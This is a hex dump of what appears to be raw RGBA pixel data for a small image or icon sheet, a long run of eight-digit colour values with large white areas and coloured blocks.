FDFF2CE0FDFF28DFFDFF26E4FFFF1CA7BDFF20D8FAFF21E0FFFF21DBFDFF21DB
FDFF20DBFDFF1EDBFDFF1CDFFFFF50939EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFACA9D8FF0900B2FF221AAFFF130BB6FF150DB7FF1B14A9FF0300B1FFCCCC
E1FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF73352BFF952716FFB66D62FFFFFF
FFFF993626FF922C1DFF8C2213FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9FA1A1FFB9B9B9FFFFFFFFFF4C26D7FF461E
D5FF4923D6FF4620D5FF401CD3FF3D18D2FF330ED0FF8268E1FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3F299EFF3D18D5FF3F1BD3FF3F1D
D3FF3F1ED3FF411ED3FF411FD3FF4222D7FF3F1ED3FF3C1CD2FF3D1BD0FF3B1B
D1FF3D1AD0FF3D1AD2FF3E18D6FF564B8EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF464379FF9E9DC2FF231E63FF524E95FF6A6892FF7370A6FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFC4CDCFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF810500FF891806FF881505FF881403FF8814
03FF871403FF881402FF8E1400FF6F4848FFB9B9B9FFFFFFFFFFD9D1F7FF350A
D2FF481FD5FF4D24D7FF4D24D7FF461CD5FF451BD5FFFEFEFEFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3F309FFF3F26D8FF4029D5FF412B
D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3E25DAFF564E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF3D32CEFF8F89E3FF251CA3FF574ECDFF5D54D9FF6A62D6FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF8D625BFFBD7468FFCFA19AFFFFFF
FFFFBE7B70FFBC776DFFBB766CFFE2C5C0FFDFC0BBFFDFC0BBFFDFC0BBFFDFC0
BBFFDFC0BBFFDEBFBAFFE6C4BFFF918583FFB9B9B9FFFFFFFFFFFFFFFFFFE2DB
F7FF6A48DDFF3E11D4FF4317D5FF8364E2FFFCFBFEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3F2F9FFF3F25D9FF3F27D7FF4028
D7FF4029D7FF4029D7FF4029D7FF4029D7FF4029D7FF4029D7FF4029D7FF4029
D7FF4028D7FF4026D7FF3F24DBFF554D8EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFA29EDEFFB0AED8FF4036BFFF443BBCFFB6B3DEFFB3AFE1FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF733228FF992814FFB86E60FFFFFF
FFFF9B3321FF992F1DFF962A17FFFAF4F2FFF2E5E3FFF2E5E3FFF2E5E3FFF3E5
E3FFF3E5E3FFF3E5E3FFFAEBE8FF979493FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF473CA3FF5744DCFF5641D9FF5542
D9FF5742D9FF5643D9FF5643D9FF5643D9FF5643D9FF5643D9FF5643D9FF5742
D9FF5542D9FF5441D9FF5542DCFF625C9BFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF7B4138FFA94A3DFFC2877BFFFFFF
FFFFA85043FFA84E3FFFA94F41FFA14030FFA14030FFA14030FFA14030FFA040
31FFA03F2FFFA03E30FFA44030FF805954FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBEBEBEFFBFBFBEFFBFBFBFFFBFBFBFFFBFBEBEFFBEBEBEFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFFFFFFFFFDCDCDCFFC2C1C1FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C1C1FFC1C0C0FFFFFFFFFFBC9273FFFFC392FFFFC18EFFFFC0
8FFFFFC08FFFFFC08FFFFFC08FFFFFC08FFFFFC08FFFFFC08FFFFFC08FFFFFC0
8FFFFFC18FFFFFC08EFFFFC692FFA08875FF71AD84FF8CEDAAFF8BE8A8FF8AE8
A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8
A8FF8AE8A8FF8BE8A9FF8EEDACFF75987EFFBFBEC5FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFEBE3FFFF8B6EFFFF896BFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A6FF24BFBFFF07FFFFFF07FFFFFF07FF
FFFF08FFFFFF08FFFFFF08FFFFFF08FFFFFF08FFFFFF08FFFFFF08FFFFFF08FF
FFFF07FFFFFF07FFFFFF08FFFFFF4AA1A1FFB18664FFE5A36FFFE1A26FFFE3A3
70FFE3A370FFE3A370FFE3A370FFE3A370FFE3A370FFE3A370FFE3A370FFE3A3
70FFE3A270FFE1A26FFFE7A470FF9C816EFF60966FFF66BB80FF66B880FF67BA
81FF66BA81FF66BA81FF66BA81FF66BA81FF66BA81FF66BA81FF66BA81FF66BA
81FF67BA81FF66B880FF66BD81FF6B8D75FFBFBEC2FFFFFFFFFFA190F6FFF6F5
FDFFFFFFFFFFFFFFFFFFD5CFFBFF6549F2FF6246F1FFF8F8FDFFFFFFFFFFFFFF
FEFFD6CFFBFFC2B7FAFFFFFFFFFFA4A2A7FF25BEBEFF0AFFFFFF0CFFFFFF0EFF
FFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFF
FFFF0DFFFFFF0CFFFFFF0AFFFFFF4AA0A0FFA67554FFD99059FFD69059FFD68F
5AFFD6915AFFD6915AFFD6915AFFD6915BFFD6915BFFD6915AFFD6915AFFD691
5AFFD6905AFFD68E59FFDB9159FF947867FF4D815AFF4B9E60FF4C9C61FF4E9D
62FF4E9D62FF4E9D62FF4E9D62FF4E9D63FF4E9D63FF4E9D62FF4E9D62FF4E9D
62FF4E9C62FF4C9C61FF4C9F61FF618069FFC0C1BEFFCBC3FDFF5036EEFF7C68
F2FFFFFFFFFFFFFFFFFFD0C8F9FF4A2EECFF462AECFFF7F6FEFFFFFFFFFFF9F8
FDFF634BF0FF5B43EFFFECE8FFFFA2A1A3FF25BEBBFF0BFFFFFF0DFFFFFF0FFF
FFFF0EFFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF0EFF
FFFF0FFFFFFF0DFFFFFF0AFFFFFF4AA09DFF9E6845FFD47A3FFFCC7940FFCD7A
41FFCD7A41FFCD7A41FFCD7A41FFCD7A41FFCD7A41FFCD7A41FFCD7A41FFCD7A
41FFCD7941FFCC7840FFD57C3EFF8F705CFF3D704CFF33894AFF35864BFF3587
4CFF37874EFF37874DFF37874DFF37874DFF37874DFF37874DFF37874DFF3587
4EFF36874CFF35864BFF32894BFF587561FFBDBDBBFFFFFFFFFFC2BAF8FFFFFF
FEFFFFFFFFFFFFFFFFFFCCC5F8FF3218E9FF2F13E8FFFBFBFDFFFFFFFFFFFFFF
FFFFEBE9FCFFDCD8FAFFFFFFFFFFA1A19FFF259FB9FF0BD4FFFF0ED2FEFF0FD2
FEFF10D2FEFF10D2FEFF10D2FEFF10D2FEFF10D2FEFF10D2FEFF10D2FEFF10D2
FEFF0FD2FEFF0DD2FEFF0AD7FFFF498E9DFF26A3C2FF0DDEFFFF10DAFFFF11DB
FFFF11DBFFFF11DBFFFF11DBFFFF11DBFFFF11DBFFFF11DBFFFF11DBFFFF11DB
FFFF11DBFFFF0FDAFFFF0DDFFFFF4A91A2FFAC9192FFEBBDBDFFE3B8B7FFE4B7
B8FFE4B9B8FFE4B8B8FFE4B8B8FFE4B8B8FFE4B8B8FFE4B8B8FFE4B8B8FFE4B9
B8FFE3B7B8FFE3B6B7FFEDC0C0FF968787FFA09DB6FFD7D1FEFFDAD6FAFFD6D1
FAFFD5CFF9FFD9D4FAFFA99DF4FF2E12E8FF2B0FE8FFCEC7F8FFD6D1F9FFD5CF
F9FFD8D2FAFFD8D4FAFFDAD4FFFF8F8D9CFF2320B8FF0900FFFF0D00FCFF0D00
FCFF0E00FCFF1000FCFF1000FCFF1000FCFF1000FCFF1000FCFF1000FCFF0E00
FCFF0E00FCFF0C00FCFF0900FFFF4A489BFF319EB8FF22D7FFFF21D3FCFF20D3
FCFF23D4FCFF23D4FCFF23D4FCFF23D4FCFF23D4FCFF23D4FCFF23D4FCFF23D4
FCFF22D4FCFF20D4FCFF1DD9FFFF508F9DFF712C23FF8E1C09FF8B1809FF8A1A
0AFF8C1B0CFF8C1B0BFF8C1B0BFF8C1B0BFF8C1B0BFF8C1B0BFF8C1B0CFF8C1A
0AFF8B1909FF8A1707FF8D1605FF734D48FF3524ABFF2B0CEBFF280BE7FF280C
E7FF2A0EE8FF2A0EE8FF2E13E8FF391FEAFF391FEAFF2B10E8FF2A0EE8FF290D
E8FF280CE7FF270AE7FF2507EEFF514996FF2524B8FF0C0DFFFF0D0FFDFF0E0E
FDFF1010FDFF100FFDFF100FFDFF100FFDFF100FFDFF100FFDFF100FFDFF0F10
FDFF0E0FFDFF0C0DFDFF090AFFFF4A499BFF329EB8FF25D8FFFF28D6FCFF28D5
FCFF22D3FCFF21D4FCFF22D4FCFF22D4FCFF22D4FCFF22D4FCFF22D4FCFF23D4
FCFF22D4FCFF20D4FCFF1DD9FFFF508F9DFF722C23FF921E0BFF901F0EFF8F1F
0EFF8B1B09FF8B1A0AFF8B1A0AFF8B1A0AFF8B1A0AFF8B1A0AFF8B1A0BFF8B19
09FF8A1808FF891607FF8D1504FF734D48FF3624ABFF2D0EECFF2F11E8FF2D10
E8FF290DE8FF280CE8FF2D12E8FF381FEAFF391FEAFF2A0EE8FF280CE8FF270B
E8FF260AE6FF2509E7FF2306EDFF514896FF2425B8FF0E0FFFFF1111FDFF1012
FDFF0E10FDFF0F0FFDFF0F0FFDFF100FFDFF1010FDFF1010FDFF1010FDFF0F10
FDFF0E0FFDFF0C0DFDFF090AFFFF4A499BFF2FA1C3FF23DBFFFF24D5FBFF27D4
FBFF28D5FBFF24D3FBFF20D2FBFF1CD1FBFF1BD1FBFF1CD1FBFF1CD1FBFF1CD1
FBFF1BD1FBFF18D0FBFF17DAFFFF4F90A2FFB19F93FFF4D7C3FFEBD0BCFFEBD2
BEFFEDD3BFFFE8CDBCFFE8CDBBFFE8CDBBFFE8CDBBFFE9CDBBFFE9CDBBFFE7CE
BBFFE8CCBCFFE8CDBAFFF3D6C1FF988F87FFACA9B8FFEDEAFFFFEFEDFCFFEBE8
FCFFEAE7FCFFEDEAFCFFB8AEF6FF2D11E8FF290DE8FFDFDCFBFFEAE7FCFFE8E4
FCFFEBE9FCFFEBEAFCFFEEEBFFFF96959EFF2526C7FF0F10FFFF1214FFFF1516
FFFF1617FFFF1415FFFF1112FFFF0E10FFFF0F0EFFFF0F0FFFFF0F0FFFFF0E0F
FFFF0D0EFFFF0B0CFFFF0A0BFFFF494AA4FF648020FF7BA800FF79A400FF78A5
00FF79A501FF7AA500FF7AA500FF7AA501FF79A400FF77A300FF75A200FF75A2
00FF75A300FF77A300FF7CAB00FF6B7C47FF3326A0FF2C17DAFF2E19D4FF301B
D3FF301CD3FF2F1DD6FF2F1DD6FF301DD6FF2C1AD5FF2B19D3FF2A18D4FF2A18
D4FF2A17D3FF2B17D5FF2D16DDFF514A8FFFBCBCB9FFFFFFFFFFB6ABF7FFFFFF
FEFFFFFFFFFFFFFFFFFFCEC6F8FF3B1DEAFF3618E9FFF9F9FDFFFFFFFFFFFFFF
FFFFE8E4FBFFD5CEFAFFFFFFFFFF9EA09EFF252520FF101000FF131200FF1616
03FF171703FF171705FF171705FF171705FF161603FF151502FF151501FF1515
01FF141400FF121200FF100F00FF4A4A48FF608425FF76AF10FF76AD13FF77AE
15FF77AE16FF77AE17FF77AE17FF77AE17FF77AE17FF77AE17FF77AE17FF77AE
16FF77AE15FF76AD13FF78B10FFF697D49FF3F309EFF3F27DAFF4029D5FF412B
D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFFBEBEB9FFBDB3FBFF4223EAFF674F
EEFFFFFFFFFFFFFFFFFFCCC4F9FF3C1DEAFF3819EAFFF7F7FDFFFFFFFFFFF6F6
FDFF4E32ECFF492CEBFFE6E1FFFF9E9E9EFF242424FF101010FF131312FF1515
14FF171717FF171716FF171716FF171716FF171717FF171717FF171717FF1616
16FF151515FF131313FF0F0F0FFF494949FF608323FF78B10BFF76AE0EFF77AF
10FF76AF11FF78AF11FF78AF11FF78AF11FF78AF11FF78AF11FF78AF11FF76AF
11FF77AF10FF76AE0EFF79B40AFF687C47FF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFFB9B9B9FFFFFFFFFF9583F3FFFFFF
FEFFFFFFFFFFFFFFFFFFCCC3FAFF3C1AEAFF3816EAFFF7F7FDFFFFFFFFFFFFFF
FEFFD7D1FAFFBEB3F8FFFFFFFFFF9D9D9DFF222222FF0B0B0BFF0E0E0EFF1010
10FF111111FF111111FF111111FF111111FF111111FF111111FF111111FF1111
11FF101010FF0E0E0EFF0A0A0AFF484848FF668A30FF8BBB33FF88B831FF8AB7
33FF89B933FF89B933FF89B933FF89B933FF89B933FF89B933FF89B933FF89B9
33FF8AB733FF89B831FF8BBB32FF758B55FF453AA5FF5B47E0FF5843DDFF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944
DDFF5845DDFF5744DDFF5945E1FF615B9CFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFD4CDFCFF5339EFFF4F35EFFFFCFBFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF2F2F2FFF323232FF303030FF3131
31FF323232FF323232FF323232FF323232FF323232FF323232FF323232FF3232
32FF313131FF303030FF303030FF555555FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFFFFFFFFFDCDCDCFFC0C0C0FFC2C2C2FFC1C1
C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1
C1FFC1C1C1FFC2C2C2FFC1C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC3C3C0FFFFFFFFFFFFFFFFFFFFFF
FFFFDBBB7AFFE0C288FFDCBC7CFFFFFFF2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A3A2FF9F6E76FFE297A6FFDE94A5FFDD94
A5FFDA8E9FFFFCE6EBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC1D7FFFF0041
FFFF074CFFFF064BFFFF044BFFFF4A5EA3FF2628B7FF0C10FFFF0E10FFFF0E10
FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11
FFFF0E10FFFF0D0FFFFF0D0FFFFF4C4E9BFF72543CFF6A411DFF6C421FFF6B43
1FFF6B4320FF6B4320FF6B4320FF6B4320FF6B4320FF6A421FFF663C19FF9573
5BFF663D18FF6A411CFF6A3F1CFF836F5FFFC1C1BFFFFFFFFFFFFFFFFFFFFFFF
FFFFB18449FFB88F59FFB2864CFFF0E7DCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF97686EFFC47D88FFC17D89FFC17E
8AFFBD7583FFE6CFD3FFFAFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB5C4F7FF0039
F1FF0D44F2FF0C43F2FF0843FCFF4A5EA3FF2425BCFF0909FFFF0B0BFFFF0A0C
FFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0C
FFFF0A0CFFFF090BFFFF0709FFFF494AA0FF6C4E35FF633A18FF643B1AFF653C
1BFF653C1BFF653C1BFF653C1BFF653C1BFF643A19FF6B4625FF795639FF8D6C
56FF745033FF6F4929FF603814FF7A6858FFBDBDBCFFFFFFFFFFFFFFFFFFFFFF
FFFF995B23FFA16936FF9A5E27FFEBDFD5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF905E63FFB76A73FFB46972FFB56C
73FFB1626CFFE2C9CCFFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB5C1F6FF0031
EDFF0F3DEFFF0D3BEFFF0939F9FF4B5B9FFF3B3CB9FF3233FFFF3435FFFF3636
FFFF3636FFFF3636FFFF383CFFFF3A45FFFF3A46FFFF383CFFFF3636FFFF3636
FFFF3536FFFF3435FFFF3435FFFF58589EFF674C33FF5D3311FF603514FF6138
14FF603716FF623916FF623916FF623916FF603714FF663D1CFF7D5C42FFB4A1
91FF7A573CFF683E20FF5C310DFF7A6757FFC0C3C4FFFFFFFFFFFFFFFFFFFFFF
FFFF833904FF8D4A19FF853D09FFECE4DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A4A4FF895559FFAF5B61FFAC5B60FFAC5B
61FFA95458FFDFC3C5FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BEF5FF0028
EAFF0E34EBFF0C33EBFF0931F6FF4B599CFFC5C5B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFDBC7FFDF5540FFDF543FFFFFD8C5FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A49EFF65482FFF5A2E0CFF5D310EFF5E34
11FF5D3310FF5D3310FF5D3310FF5D3310FF552905FFB29E8EFFC0AEA2FFFFFF
FFFFC5B4AAFFB7A496FF502300FF796555FF83624CFFA9724EFFA6714EFFA774
52FF823706FF873E0EFF843A09FFA16843FFA77451FFA7724FFFA7724FFFA772
50FFA7724EFFA6714EFFAA724DFF7E6D5FFF855155FFAB5559FFA95458FFA954
59FFA64E52FFDDC0C2FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BDF4FF0024
E8FF0E30E9FF0C2FE9FF092DF4FF4B579BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFF2D3D2FFD54F47FFE27D73FFE27B73FFD54E46FFF1CDCDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF65462CFF582D09FF5A2F0CFF5B30
0DFF5B300EFF5D3110FF5C310FFF5B300EFF643B1CFF663F1FFFBEADA0FFD1C4
BCFFBBAA9DFF6A4424FF603716FF786455FF6C3F20FF863B04FF823906FF8238
07FF884010FF884010FF884010FF853B0AFF843A08FF843A08FF843A08FF8239
07FF833906FF823704FF843601FF705847FF875455FFAE5A5EFFA9565AFFA954
5AFFA54D52FFDDC1C3FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BDF4FF0024
E8FF0E31EAFF0C30EAFF092DF4FF4B579CFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFE46157FFAC5494FF9B5AAAFFA15CA4FFA75297FFE45D53FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF65462CFF5D310CFF5B310EFF5B2F
0DFF5D3210FF5D3210FF5D3210FF5A2E0BFF7C593FFF815D43FF522401FFF4F1
F1FF997C67FF6A4324FF88664DFF766251FF6C3F20FF893E05FF884008FF873D
08FF863F0FFF873E0FFF873F0FFF843A09FF833807FF833807FF833807FF8237
06FF823705FF813503FF823500FF705847FF885456FFB05D61FFAD5D61FFAC5C
60FFA64E53FFDDC0C2FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BDF4FF0024
E8FF0E31EAFF0C30EAFF092DF4FF4B579CFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF79FFFFFF39A3FFFFC4D5F0FFB4C0EFFF3A9FFFFF72FFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF65462CFF552700FF562800FF592A
00FF5E3000FF5D3000FF5A2F0BFF5D3110FF582C0AFF653C1DFFC6B8ACFFB4A1
92FFC1B0A4FF6B4426FF522400FF776454FF8B6B57FFB68861FFB48862FFB58A
65FF8D450DFF8E4814FF863E0AFFA6724FFFB08361FFAF815FFFAF815FFFAF80
5FFFAE805EFFAE7D5DFFB2825DFF827066FF875558FFB26064FFAF6065FFB061
65FFAB575DFFDFC5C7FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BDF4FF0023
E8FF0D2FE9FF0B2EE9FF0A2EF5FF4A579BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFECFCFFFF3CF7FFFF3F98FFFF327CFFFF3BF9FFFFE7FCFFFFFFFF
